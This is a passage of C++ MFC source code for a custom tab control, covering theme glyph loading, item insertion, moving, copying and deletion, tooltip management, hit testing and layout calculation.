AfxThrowUserException();
m_hBmpBkRightSpin = tm.LoadBitmap(szSpinBkRightBitmapFilename);
if(!m_hBmpBkRightSpin)
AfxThrowUserException();
int nRightImageLayout;
if(!tm.GetThemeEnumValue(SPNP_UPHORZ,0,TMT_IMAGELAYOUT,&nRightImageLayout))
AfxThrowUserException();
if(nRightImageLayout==IL_VERTICAL)
m_fIsRightImageHorLayout = FALSE;
else
m_fIsRightImageHorLayout = TRUE;
if(!tm.GetThemeMargins(SPNP_UPHORZ,0,TMT_SIZINGMARGINS,&m_mrgnRight))
AfxThrowUserException();
}
{
// glyph color
int nGlyphType;
if(!tm.GetThemeEnumValue(SPNP_DOWNHORZ,0,TMT_GLYPHTYPE,&nGlyphType))
AfxThrowUserException();
if(nGlyphType==GT_IMAGEGLYPH)
{
COLORREF rgbTransGlyph = RGB(255,0,255);
if(!tm.GetThemeColor(SPNP_DOWNHORZ,0,TMT_GLYPHTRANSPARENTCOLOR,&rgbTransGlyph))
AfxThrowUserException();
WCHAR szSpinGlyphIconFilename[MAX_PATH];
if(!tm.GetThemeFilename(SPNP_DOWNHORZ,0,TMT_GLYPHIMAGEFILE,szSpinGlyphIconFilename,MAX_PATH))
AfxThrowUserException();
hBmpGlyph = tm.LoadBitmap(szSpinGlyphIconFilename);
if(!hBmpGlyph)
AfxThrowUserException();
CBitmap* pBmp = CBitmap::FromHandle(hBmpGlyph);
if(pBmp==NULL)
AfxThrowUserException();
pOldBmpGlyph = dcGlyph.SelectObject(pBmp);
BITMAP bm;
pBmp->GetBitmap(&bm);
m_rgbGlyph[0] = rgbTransGlyph;
m_rgbGlyph[1] = rgbTransGlyph;
m_rgbGlyph[2] = rgbTransGlyph;
m_rgbGlyph[3] = rgbTransGlyph;
if(m_fIsLeftImageHorLayout)
{
for(int i=0;i<bm.bmWidth;i++)
{
if(i<bm.bmWidth/4 && m_rgbGlyph[0]==rgbTransGlyph)
{
for(int j=0;j<bm.bmHeight;j++)
{
if((m_rgbGlyph[0]=dcGlyph.GetPixel(i,j))!=rgbTransGlyph)
break;
}
if(i==bm.bmWidth/4-1 && m_rgbGlyph[0]==rgbTransGlyph)
AfxThrowUserException();
}
else if(i>=bm.bmWidth/4 && i<bm.bmWidth/2 && m_rgbGlyph[1]==rgbTransGlyph)
{
for(int j=0;j<bm.bmHeight;j++)
{
if((m_rgbGlyph[1]=dcGlyph.GetPixel(i,j))!=rgbTransGlyph)
break;
}
if(i==bm.bmWidth/2-1 && m_rgbGlyph[1]==rgbTransGlyph)
AfxThrowUserException();
}
else if(i>=bm.bmWidth/2 && i<3*bm.bmWidth/4 && m_rgbGlyph[2]==rgbTransGlyph)
{
for(int j=0;j<bm.bmHeight;j++)
{
if((m_rgbGlyph[2]=dcGlyph.GetPixel(i,j))!=rgbTransGlyph)
break;
}
if(i==3*bm.bmWidth/4-1 && m_rgbGlyph[2]==rgbTransGlyph)
AfxThrowUserException();
}
else if(i>=3*bm.bmWidth/4 && i<bm.bmWidth && m_rgbGlyph[3]==rgbTransGlyph)
{
for(int j=0;j<bm.bmHeight;j++)
{
if((m_rgbGlyph[3]=dcGlyph.GetPixel(i,j))!=rgbTransGlyph)
break;
}
if(i==bm.bmWidth-1 && m_rgbGlyph[3]==rgbTransGlyph)
AfxThrowUserException();
}
}
}
else
{
for(int i=0;i<bm.bmHeight;i++)
{
if(i<bm.bmHeight/4 && m_rgbGlyph[0]==rgbTransGlyph)
{
for(int j=0;j<bm.bmWidth;j++)
{
if((m_rgbGlyph[0] = dcGlyph.GetPixel(j,i))!=rgbTransGlyph)
break;
}
if(i==bm.bmHeight/4-1 && m_rgbGlyph[0]==rgbTransGlyph)
AfxThrowUserException();
}
else if(i>=bm.bmHeight/4 && i<bm.bmHeight/2 && m_rgbGlyph[1]==rgbTransGlyph)
{
for(int j=0;j<bm.bmWidth;j++)
{
if((m_rgbGlyph[1]=dcGlyph.GetPixel(j,i))!=rgbTransGlyph)
break;
}
if(i==bm.bmHeight/2-1 && m_rgbGlyph[1]==rgbTransGlyph)
AfxThrowUserException();
}
else if(i>=bm.bmHeight/2 && i<3*bm.bmHeight/4 && m_rgbGlyph[2]==rgbTransGlyph)
{
for(int j=0;j<bm.bmWidth;j++)
{
if((m_rgbGlyph[2] = dcGlyph.GetPixel(j,i))!=rgbTransGlyph)
break;
}
if(i==3*bm.bmHeight/4-1 && m_rgbGlyph[2]==rgbTransGlyph)
AfxThrowUserException();
}
else if(i>=3*bm.bmHeight/4 && i<bm.bmHeight && m_rgbGlyph[3]==rgbTransGlyph)
{
for(int j=0;j<bm.bmWidth;j++)
{
if((m_rgbGlyph[3]=dcGlyph.GetPixel(j,i))!=rgbTransGlyph)
break;
}
if(i==bm.bmHeight-1 && m_rgbGlyph[3]==rgbTransGlyph)
AfxThrowUserException();
}
}
}
dcGlyph.SelectObject(pOldBmpGlyph);
pOldBmpGlyph = NULL;
::DeleteObject(hBmpGlyph);
hBmpGlyph = NULL;
}
else if(nGlyphType==GT_FONTGLYPH)
{
if(!tm.GetThemeColor(SPNP_UPHORZ,UPHZS_NORMAL,TMT_GLYPHTEXTCOLOR,&m_rgbGlyph[0]))
AfxThrowUserException();
if(!tm.GetThemeColor(SPNP_UPHORZ,UPHZS_HOT,TMT_GLYPHTEXTCOLOR,&m_rgbGlyph[1]))
AfxThrowUserException();
if(!tm.GetThemeColor(SPNP_UPHORZ,UPHZS_PRESSED,TMT_GLYPHTEXTCOLOR,&m_rgbGlyph[2]))
AfxThrowUserException();
}
else
AfxThrowUserException();
}
tm.CloseThemeData();
}
catch(CUserException* e)
{
e->Delete();
::DeleteObject(m_hBmpBkLeftSpin);
m_hBmpBkLeftSpin = NULL;
::DeleteObject(m_hBmpBkRightSpin);
m_hBmpBkRightSpin = NULL;
if(pOldBmpGlyph)
dcGlyph.SelectObject(pOldBmpGlyph);
::DeleteObject(hBmpGlyph);
hBmpGlyph = NULL;
}
return 0;
}
void CCustomTabCtrl::OnTimer(UINT nIDEvent)
{
CWnd::OnTimer(nIDEvent);
if(nIDEvent==1)
{
if(m_nFirstState==BNST_PRESSED && ::GetTickCount()-m_dwLastRepeatTime>=REPEAT_TIMEOUT)
{
m_nFirstState = BNST_PRESSED;
RecalcLayout(RECALC_FIRST_PRESSED,m_nItemSelected);
Invalidate(FALSE);
m_dwLastRepeatTime = ::GetTickCount();
return;
}
if(m_nPrevState==BNST_PRESSED && ::GetTickCount()-m_dwLastRepeatTime>=REPEAT_TIMEOUT)
{
m_nPrevState = BNST_PRESSED;
RecalcLayout(RECALC_PREV_PRESSED,m_nItemSelected);
Invalidate(FALSE);
m_dwLastRepeatTime = ::GetTickCount();
return;
}
if(m_nNextState==BNST_PRESSED && ::GetTickCount()-m_dwLastRepeatTime>=REPEAT_TIMEOUT)
{
m_nNextState = BNST_PRESSED;
RecalcLayout(RECALC_NEXT_PRESSED,m_nItemSelected);
Invalidate(FALSE);
m_dwLastRepeatTime = ::GetTickCount();
return;
}
if(m_nLastState==BNST_PRESSED && ::GetTickCount()-m_dwLastRepeatTime>=REPEAT_TIMEOUT)
{
m_nLastState = BNST_PRESSED;
RecalcLayout(RECALC_LAST_PRESSED,m_nItemSelected);
Invalidate(FALSE);
m_dwLastRepeatTime = ::GetTickCount();
return;
}
}
else if(nIDEvent==2)
{
KillTimer(2);
if(m_nButtonIDDown>=0)
{
if(m_nItemDragDest==CTCID_NOBUTTON)
m_nItemDragDest = m_nButtonIDDown;
SetTimer(2,10,NULL);
DWORD dwStyle = GetStyle();
if((dwStyle&CTCS_DRAGCOPY) && (GetKeyState(VK_CONTROL)&0x8000))
SetCursor(m_hCursorCopy);
else if((dwStyle&CTCS_DRAGMOVE) && !(GetKeyState(VK_CONTROL)&0x8000))
SetCursor(m_hCursorMove);
else
{
m_nButtonIDDown = CTCID_NOBUTTON;
ReleaseCapture();
}
Invalidate(FALSE);
}
}
}
void CCustomTabCtrl::SetControlFont(const LOGFONT& lf, BOOL fRedraw)
{
if(m_Font.m_hObject)
{
DeleteObject(m_Font);
m_Font.m_hObject = NULL;
}
if(m_FontSelected.m_hObject)
{
DeleteObject(m_FontSelected);
m_FontSelected.m_hObject = NULL;
}
if(!m_Font.CreateFontIndirect(&lf))
m_Font.CreateFontIndirect(&lf_default);
LOGFONT lfSel;
m_Font.GetLogFont(&lfSel);
lfSel.lfWeight = FW_BOLD;
m_FontSelected.CreateFontIndirect(&lfSel);
if(fRedraw)
{
RecalcLayout(RECALC_RESIZED,m_nItemSelected);
Invalidate();
}
}
int CCustomTabCtrl::InsertItem(int nItem, CString sText, LPARAM lParam)
{
if(nItem<0 || nItem>m_aItems.GetSize())
return CTCERR_INDEXOUTOFRANGE;
if(sText.GetLength()>MAX_LABEL_TEXT-1)
return CTCERR_TEXTTOOLONG;
CCustomTabCtrlItem* pItem = new CCustomTabCtrlItem(sText,lParam);
if(pItem==NULL)
return CTCERR_OUTOFMEMORY;
try
{
m_aItems.InsertAt(nItem,pItem);
}
catch(CMemoryException* e)
{
e->Delete();
delete pItem;
return CTCERR_OUTOFMEMORY;
}
if(m_nItemSelected>=nItem)
m_nItemSelected++;
if(m_ctrlToolTip.m_hWnd)
{
for(int i=m_aItems.GetSize()-1; i>nItem; i--)
{
CString s;
m_ctrlToolTip.GetText(s,this,i);
m_ctrlToolTip.DelTool(this,i);
m_ctrlToolTip.AddTool(this,s,CRect(0,0,0,0),i+1);
}
m_ctrlToolTip.DelTool(this,nItem+1);
}
RecalcLayout(RECALC_RESIZED,m_nItemSelected);
Invalidate(FALSE);
return nItem;
}
int CCustomTabCtrl::MoveItem(int nItemSrc, int nItemDst)
{
return MoveItem(nItemSrc, nItemDst, FALSE);
}
int CCustomTabCtrl::MoveItem(int nItemSrc, int nItemDst, BOOL fMouseSel)
{
if(nItemSrc<0||nItemSrc>=m_aItems.GetSize())
return CTCERR_INDEXOUTOFRANGE;
if(nItemDst<0||nItemDst>m_aItems.GetSize())
return CTCERR_INDEXOUTOFRANGE;
if(nItemSrc==nItemDst || nItemSrc==nItemDst-1)
return nItemSrc;
CCustomTabCtrlItem *pItem = m_aItems[nItemSrc];
// remove item from old place
CString sOldTooltip;
if(m_ctrlToolTip.m_hWnd)
{
m_ctrlToolTip.GetText(sOldTooltip,this,nItemSrc+1);
for(int i=nItemSrc+1; i< m_aItems.GetSize(); i++)
{
CString s;
m_ctrlToolTip.GetText(s,this,i+1);
m_ctrlToolTip.DelTool(this,i);
m_ctrlToolTip.AddTool(this,s,CRect(0,0,0,0),i);
}
}
m_aItems.RemoveAt(nItemSrc);
// insert item in new place
if(nItemDst>nItemSrc)
nItemDst--;
try
{
m_aItems.InsertAt(nItemDst,pItem);
}
catch(CMemoryException* e)
{
e->Delete();
delete pItem;
if(fMouseSel)
NotifyParent(CTCN_ITEMMOVE,nItemSrc,CPoint(0,0));
return CTCERR_OUTOFMEMORY;
}
if(m_ctrlToolTip.m_hWnd)
{
for(int i=m_aItems.GetSize()-1; i>nItemDst; i--)
{
CString s;
m_ctrlToolTip.GetText(s,this,i);
m_ctrlToolTip.DelTool(this,i+1);
m_ctrlToolTip.AddTool(this,s,CRect(0,0,0,0),i+1);
}
m_ctrlToolTip.DelTool(this,nItemDst+1);
m_ctrlToolTip.AddTool(this,sOldTooltip,CRect(0,0,0,0),nItemDst+1);
}
m_nItemSelected = nItemDst;
RecalcLayout(RECALC_ITEM_SELECTED,m_nItemSelected);
Invalidate(FALSE);
if(fMouseSel)
NotifyParent(CTCN_ITEMMOVE,m_nItemSelected,CPoint(0,0));
return nItemDst;
}
int CCustomTabCtrl::CopyItem(int nItemSrc, int nItemDst)
{
return CopyItem(nItemSrc, nItemDst, FALSE);
}
int CCustomTabCtrl::CopyItem(int nItemSrc, int nItemDst, BOOL fMouseSel)
{
if(nItemSrc<0||nItemSrc>=m_aItems.GetSize())
return CTCERR_INDEXOUTOFRANGE;
if(nItemDst<0||nItemDst>m_aItems.GetSize())
return CTCERR_INDEXOUTOFRANGE;
CString sDst;
try
{
BOOL bAppendFlag=TRUE;
int n = m_aItems[nItemSrc]->m_sText.GetLength();
if(n>=4)
{
if(m_aItems[nItemSrc]->m_sText[n-1]==_T(')') &&
m_aItems[nItemSrc]->m_sText[n-2]>_T('1') &&
m_aItems[nItemSrc]->m_sText[n-2]<=_T('9') &&
m_aItems[nItemSrc]->m_sText[n-3]==_T('('))
{
n = m_aItems[nItemSrc]->m_sText.GetLength()-3;
bAppendFlag = FALSE;
}
else if(m_aItems[nItemSrc]->m_sText[n-1]==_T(')') &&
m_aItems[nItemSrc]->m_sText[n-2]>=_T('0') &&
m_aItems[nItemSrc]->m_sText[n-2]<=_T('9') &&
m_aItems[nItemSrc]->m_sText[n-3]>=_T('1') &&
m_aItems[nItemSrc]->m_sText[n-3]<=_T('9') &&
m_aItems[nItemSrc]->m_sText[n-4]==_T('('))
{
n = m_aItems[nItemSrc]->m_sText.GetLength()-4;
bAppendFlag = FALSE;
}
}
int ndx = 1;
while(1)
{
ndx++;
if(bAppendFlag)
sDst.Format(_T("%s (%d)"),(LPCTSTR)m_aItems[nItemSrc]->m_sText,ndx);
else
sDst.Format(_T("%s(%d)"),(LPCTSTR)m_aItems[nItemSrc]->m_sText.Left(n),ndx);
int i = 0;
for(i=0;i<m_aItems.GetSize();i++)
{
if(m_aItems[i]->m_sText==sDst)
break;
}
if(i==m_aItems.GetSize())
break;
}
}
catch(CMemoryException* e)
{
e->Delete();
if(fMouseSel)
NotifyParent(CTCN_OUTOFMEMORY,nItemSrc,CPoint(0,0));
return CTCERR_OUTOFMEMORY;
}
int nRetItem = InsertItem(nItemDst,sDst,m_aItems[nItemSrc]->m_lParam);
if(nRetItem>=0)
{
SetCurSel(nRetItem);
if(fMouseSel)
NotifyParent(CTCN_ITEMCOPY,nRetItem,CPoint(0,0));
}
else if(fMouseSel && nRetItem==CTCERR_OUTOFMEMORY)
NotifyParent(CTCN_OUTOFMEMORY,nRetItem,CPoint(0,0));
return nRetItem;
}
int CCustomTabCtrl::DeleteItem(int nItem)
{
if(nItem<0 || nItem>=m_aItems.GetSize())
return CTCERR_INDEXOUTOFRANGE;
try
{
if(m_ctrlToolTip.m_hWnd)
{
for(int i=nItem; i<m_aItems.GetSize(); i++)
{
m_ctrlToolTip.DelTool(this,i+1);
if(i!=m_aItems.GetSize()-1)
{
CString s;
m_ctrlToolTip.GetText(s,this,i+2);
m_ctrlToolTip.AddTool(this,s,CRect(0,0,0,0),i+1);
}
}
}
}
catch(CMemoryException* e)
{
e->Delete();
return CTCERR_OUTOFMEMORY;
}
if(m_aItems.GetSize()==1)
m_nItemSelected = -1;
else if(m_nItemSelected==nItem)
{
if(m_nItemSelected==m_aItems.GetSize()-1) // last item
{
m_nItemSelected--;
m_aItems[m_nItemSelected]->m_fSelected = TRUE;
}
else
m_aItems[m_nItemSelected+1]->m_fSelected = TRUE;
}
else if(m_nItemSelected>nItem)
m_nItemSelected--;
delete m_aItems[nItem];
m_aItems.RemoveAt(nItem);
RecalcLayout(RECALC_RESIZED,m_nItemSelected);
Invalidate(FALSE);
return CTCERR_NOERROR;
}
void CCustomTabCtrl::DeleteAllItems()
{
if(m_ctrlToolTip.m_hWnd)
{
for(int i=0; i< m_aItems.GetSize(); i++)
{
delete m_aItems[i];
m_ctrlToolTip.DelTool(this,i+1);
}
}
else
{
for(int i=0; i< m_aItems.GetSize(); i++)
delete m_aItems[i];
}
m_aItems.RemoveAll();
m_nItemSelected = -1;
RecalcLayout(RECALC_RESIZED,m_nItemSelected);
Invalidate(FALSE);
}
int CCustomTabCtrl::SetCurSel(int nItem)
{
return SetCurSel(nItem,FALSE,FALSE);
}
int CCustomTabCtrl::HighlightItem(int nItem, BOOL fHighlight)
{
if(!(GetStyle()&CTCS_MULTIHIGHLIGHT))
return CTCERR_NOMULTIHIGHLIGHTSTYLE;
if(nItem<0 || nItem>=m_aItems.GetSize())
return CTCERR_INDEXOUTOFRANGE;
if(m_nItemSelected==-1 && !fHighlight)
return CTCERR_NOERROR;
if(m_nItemSelected==-1)
{
SetCurSel(nItem);
return CTCERR_NOERROR;
}
if(fHighlight==m_aItems[nItem]->m_fHighlighted || nItem==m_nItemSelected)
return CTCERR_NOERROR;
m_aItems[nItem]->m_fHighlighted = fHighlight;
return CTCERR_NOERROR;
}
int CCustomTabCtrl::GetItemText(int nItem, CString& sText)
{
if(nItem<0 || nItem>=m_aItems.GetSize())
return CTCERR_INDEXOUTOFRANGE;
sText = m_aItems[nItem]->m_sText;
return CTCERR_NOERROR;
}
int CCustomTabCtrl::SetItemText(int nItem, CString sText)
{
if(nItem<0 || nItem>=m_aItems.GetSize())
return CTCERR_INDEXOUTOFRANGE;
m_aItems[nItem]->m_sText = sText;
RecalcLayout(RECALC_RESIZED,m_nItemSelected);
Invalidate(FALSE);
return CTCERR_NOERROR;
}
int CCustomTabCtrl::SetItemTooltipText(int nItem, CString sText)
{
if(!(GetStyle()&CTCS_TOOLTIPS))
return CTCERR_NOTOOLTIPSSTYLE;
if(nItem>=CTCID_CLOSEBUTTON && nItem<m_aItems.GetSize())
{
if(m_ctrlToolTip.m_hWnd==NULL)
{
if(!m_ctrlToolTip.Create(this))
return CTCERR_CREATETOOLTIPFAILED;
m_ctrlToolTip.Activate(TRUE);
}
if(nItem>=0)
nItem++;
m_ctrlToolTip.DelTool(this,nItem);
m_ctrlToolTip.AddTool(this,sText,CRect(0,0,0,0),nItem);
RecalcLayout(RECALC_RESIZED,m_nItemSelected);
Invalidate(FALSE);
return CTCERR_NOERROR;
}
return CTCERR_INDEXOUTOFRANGE;
}
int CCustomTabCtrl::GetItemData(int nItem, DWORD& dwData)
{
if(nItem<0 || nItem>=m_aItems.GetSize())
return CTCERR_INDEXOUTOFRANGE;
dwData = m_aItems[nItem]->m_lParam;
return CTCERR_NOERROR;
}
int CCustomTabCtrl::GetItemRect(int nItem, CRect& rect) const
{
if(nItem<0 || nItem>=m_aItems.GetSize())
return CTCERR_INDEXOUTOFRANGE;
rect = m_aItems[nItem]->m_rectText;
return CTCERR_NOERROR;
}
int CCustomTabCtrl::SetItemData(int nItem, DWORD dwData)
{
if(nItem<0 || nItem>=m_aItems.GetSize())
return CTCERR_INDEXOUTOFRANGE;
m_aItems[nItem]->m_lParam = dwData;
return CTCERR_NOERROR;
}
int CCustomTabCtrl::IsItemHighlighted(int nItem)
{
if(nItem<0 || nItem>=m_aItems.GetSize())
return CTCERR_INDEXOUTOFRANGE;
return (m_aItems[nItem]->m_fHighlighted)?1:0;
}
int CCustomTabCtrl::HitTest(CPoint pt)
{
CRect rCl;
GetClientRect(&rCl);
if(IsVertical())
{
rCl.SetRect(0,0,rCl.Height(),rCl.Width());
pt = CPoint(rCl.Width()-pt.y,pt.x);
}
int nBtns = 0;
if(m_nCloseState)
nBtns++;
if(m_nPrevState)
nBtns += 2;
if(m_nFirstState)
nBtns += 2;
int nA = rCl.Height()-3;
int nCloseOffset = 0;
if(m_nCloseState)
{
nCloseOffset = nA;
CRect rClose(0,0,nA+1,rCl.Height());
if(GetStyle()&CTCS_BUTTONSAFTER)
rClose.SetRect(rCl.Width()-nA-1,0,rCl.Width(),rCl.Height());
if(rClose.PtInRect(pt))
return CTCHT_ONCLOSEBUTTON;
}
CRect rFirst,rPrev,rNext,rLast;
if(GetStyle()&CTCS_BUTTONSAFTER)
{
if(nBtns==2||nBtns==3)
{
rNext.SetRect(rCl.Width()-nCloseOffset-nA-1,0,rCl.Width()-nCloseOffset,rCl.Height());
rPrev.SetRect(rCl.Width()-nCloseOffset-2*nA-3,0,rCl.Width()-nCloseOffset-nA-1,rCl.Height());
}
else if(nBtns==4||nBtns==5)
{
rLast.SetRect(rCl.Width()-nCloseOffset-nA-1,0,rCl.Width()-nCloseOffset,rCl.Height());
rNext.SetRect(rCl.Width()-nCloseOffset-2*nA-1,0,rCl.Width()-nCloseOffset-nA-1,rCl.Height());
rPrev.SetRect(rCl.Width()-nCloseOffset-3*nA-2,0,rCl.Width()-nCloseOffset-2*nA-1,rCl.Height());
rFirst.SetRect(rCl.Width()-nCloseOffset-4*nA-3,0,rCl.Width()-nCloseOffset-3*nA-2,rCl.Height());
}
}
else
{
if(nBtns==2||nBtns==3)
{
rPrev.SetRect(nCloseOffset,0,nCloseOffset+nA+1,rCl.Height());
rNext.SetRect(nCloseOffset+nA+1,0,nCloseOffset+2*nA+3,rCl.Height());
}
else if(nBtns==4||nBtns==5)
{
rFirst.SetRect(nCloseOffset,0,nCloseOffset+nA+1,rCl.Height());
rPrev.SetRect(nCloseOffset+nA+1,0,nCloseOffset+2*nA+1,rCl.Height());
rNext.SetRect(nCloseOffset+2*nA+1,0,nCloseOffset+3*nA+2,rCl.Height());
rLast.SetRect(nCloseOffset+3*nA+2,0,nCloseOffset+4*nA+3,rCl.Height());
}
}
if(nBtns>=4 && m_nFirstState && rFirst.PtInRect(pt))
return CTCHT_ONFIRSTBUTTON;
if(m_nPrevState && rPrev.PtInRect(pt))
return CTCHT_ONPREVBUTTON;
if(m_nNextState && rNext.PtInRect(pt))
return CTCHT_ONNEXTBUTTON;
if(nBtns>=4 && m_nLastState && rLast.PtInRect(pt))
return CTCHT_ONLASTBUTTON;
for(int i=0; i<m_aItems.GetSize(); i++)
{
if(m_aItems[i]->HitTest(pt))
return i;
}
return CTCHT_NOWHERE;
}
int CCustomTabCtrl::HighlightItem(int nItem, BOOL fMouseSel, BOOL fCtrlPressed)
{
if(!(GetStyle()&CTCS_MULTIHIGHLIGHT))
return CTCERR_NOMULTIHIGHLIGHTSTYLE;
for(int i=0; i<m_aItems.GetSize();i++)
m_aItems[i]->m_fHighlightChanged = FALSE;
if(fCtrlPressed)
{
if(nItem!=m_nItemSelected)
{
m_aItems[nItem]->m_fHighlighted = !m_aItems[nItem]->m_fHighlighted;
if(fMouseSel)
m_aItems[nItem]->m_fHighlightChanged = TRUE;
}
}
else if(!m_aItems[nItem]->m_fHighlighted)
{
m_aItems[nItem]->m_fHighlighted = TRUE;
m_aItems[nItem]->m_fHighlightChanged = TRUE;
for(int i=0;i<m_aItems.GetSize();i++)
{
if(i!=m_nItemSelected)
{
if(m_aItems[i]->m_fHighlighted)
{
m_aItems[i]->m_fHighlighted = FALSE;
if(fMouseSel)
m_aItems[i]->m_fHighlightChanged = TRUE;
}
}
}
}
if(fMouseSel)
RecalcLayout(RECALC_ITEM_SELECTED,nItem);
Invalidate(FALSE);
return CTCERR_NOERROR;
}
int CCustomTabCtrl::SetCurSel(int nItem, BOOL fMouseSel, BOOL fCtrlPressed)
{
if(nItem<0 || nItem>=m_aItems.GetSize())
return CTCERR_INDEXOUTOFRANGE;
if(m_nItemSelected!=-1)
m_aItems[m_nItemSelected]->m_fSelected = FALSE;
m_nItemSelected = nItem;
if(m_nItemSelected!=-1)
m_aItems[m_nItemSelected]->m_fSelected = TRUE;
if(fMouseSel)
RecalcLayout(RECALC_ITEM_SELECTED,m_nItemSelected);
else
{
m_nItemNdxOffset = nItem;
RecalcLayout(RECALC_RESIZED,m_nItemSelected);
}
Invalidate(FALSE);
HighlightItem(nItem, fMouseSel, fCtrlPressed);
return CTCERR_NOERROR;
}
void CCustomTabCtrl::RecalcLayout(int nRecalcType, int nItem)
{
CRect rCl;
GetClientRect(&rCl);
if(IsVertical())
rCl.SetRect(0,0,rCl.Height(),rCl.Width());
int nCloseOffset = 0;
int nA = rCl.Height()-3;
int nBnWidth = 0;
int nBtns = 0;
if(GetStyle()&CTCS_CLOSEBUTTON)
{
nBtns++;
nCloseOffset = nA;
nBnWidth = nA+3;
if(m_nCloseState==BNST_INVISIBLE)
m_nCloseState = BNST_NORMAL;
}
else
m_nCloseState = BNST_INVISIBLE;
int nWidth = RecalcRectangles();
if((GetStyle()&CTCS_AUTOHIDEBUTTONS) && (m_aItems.GetSize()<2 || nWidth <= rCl.Width()-nBnWidth))
{
m_nFirstState = BNST_INVISIBLE;
m_nPrevState = BNST_INVISIBLE;
m_nNextState = BNST_INVISIBLE;
m_nLastState = BNST_INVISIBLE;
m_nItemNdxOffset = 0;
RecalcOffset(nBnWidth);
if(nRecalcType==RECALC_EDIT_RESIZED)
RecalcEditResized(0,nItem);
if(m_ctrlToolTip.m_hWnd)
{
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_FIRSTBUTTON,CRect(0,0,0,0));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_PREVBUTTON,CRect(0,0,0,0));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_NEXTBUTTON,CRect(0,0,0,0));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_LASTBUTTON,CRect(0,0,0,0));
if(GetStyle()&CTCS_CLOSEBUTTON)
{
if(IsVertical())
{
if(GetStyle()&CTCS_BUTTONSAFTER)
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_CLOSEBUTTON,CRect(0,0,rCl.Height(),nA+1));
else
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_CLOSEBUTTON,CRect(0,rCl.Width()-nA-1,rCl.Height(),rCl.Width()));
}
else
{
if(GetStyle()&CTCS_BUTTONSAFTER)
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_CLOSEBUTTON,CRect(rCl.Width()-nA-1,0,rCl.Width(),rCl.Height()));
else
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_CLOSEBUTTON,CRect(0,0,nA+1,rCl.Height()));
}
}
}
return;
}
if(m_nPrevState==BNST_INVISIBLE)
{
m_nPrevState = BNST_NORMAL;
m_nNextState = BNST_NORMAL;
}
if(GetStyle()&CTCS_FOURBUTTONS)
{
nBtns += 4;
if(m_nFirstState==BNST_INVISIBLE)
{
m_nFirstState = BNST_NORMAL;
m_nLastState = BNST_NORMAL;
}
}
else
{
nBtns += 2;
m_nFirstState = BNST_INVISIBLE;
m_nLastState = BNST_INVISIBLE;
}
if(m_ctrlToolTip.m_hWnd)
{
if(GetStyle()&CTCS_BUTTONSAFTER)
{
if(IsVertical())
{
if(nBtns<4)
{
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_FIRSTBUTTON,CRect(0,0,0,0));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_PREVBUTTON,CRect(0,nCloseOffset+nA+1,rCl.Height(),nCloseOffset+2*nA+3));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_NEXTBUTTON,CRect(0,nCloseOffset,rCl.Height(),nCloseOffset+nA+1));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_LASTBUTTON,CRect(0,0,0,0));
}
else
{
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_FIRSTBUTTON,CRect(0,nCloseOffset+3*nA+2,rCl.Height(),nCloseOffset+4*nA+3));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_PREVBUTTON,CRect(0,nCloseOffset+2*nA+1,rCl.Height(),nCloseOffset+3*nA+2));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_NEXTBUTTON,CRect(0,nCloseOffset+nA+1,rCl.Height(),nCloseOffset+2*nA+1));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_LASTBUTTON,CRect(0,nCloseOffset,rCl.Height(),nCloseOffset+nA+1));
}
if(GetStyle()&CTCS_CLOSEBUTTON)
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_CLOSEBUTTON,CRect(0,0,rCl.Height(),nA+1));
}
else
{
if(nBtns<4)
{
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_FIRSTBUTTON,CRect(0,0,0,0));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_PREVBUTTON,CRect(rCl.Width()-nCloseOffset-2*nA-3,0,rCl.Width()-nCloseOffset-nA-1,rCl.Height()));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_NEXTBUTTON,CRect(rCl.Width()-nCloseOffset-nA-1,0,rCl.Width()-nCloseOffset,rCl.Height()));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_LASTBUTTON,CRect(0,0,0,0));
}
else
{
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_FIRSTBUTTON,CRect(rCl.Width()-nCloseOffset-4*nA-3,0,rCl.Width()-nCloseOffset-3*nA-2,rCl.Height()));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_PREVBUTTON,CRect(rCl.Width()-nCloseOffset-3*nA-2,0,rCl.Width()-nCloseOffset-2*nA-1,rCl.Height()));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_NEXTBUTTON,CRect(rCl.Width()-nCloseOffset-2*nA-1,0,rCl.Width()-nCloseOffset-nA-1,rCl.Height()));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_LASTBUTTON,CRect(rCl.Width()-nCloseOffset-nA-1,0,rCl.Width()-nCloseOffset,rCl.Height()));
}
if(GetStyle()&CTCS_CLOSEBUTTON)
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_CLOSEBUTTON,CRect(rCl.Width()-nA-1,0,rCl.Width(),rCl.Height()));
}
}
else
{
if(IsVertical())
{
if(nBtns<4)
{
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_FIRSTBUTTON,CRect(0,0,0,0));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_PREVBUTTON,CRect(0,rCl.Width()-nCloseOffset-nA-1,rCl.Height(),rCl.Width()-nCloseOffset));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_NEXTBUTTON,CRect(0,rCl.Width()-nCloseOffset-2*nA-3,rCl.Height(),rCl.Width()-nCloseOffset-nA-1));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_LASTBUTTON,CRect(0,0,0,0));
}
else
{
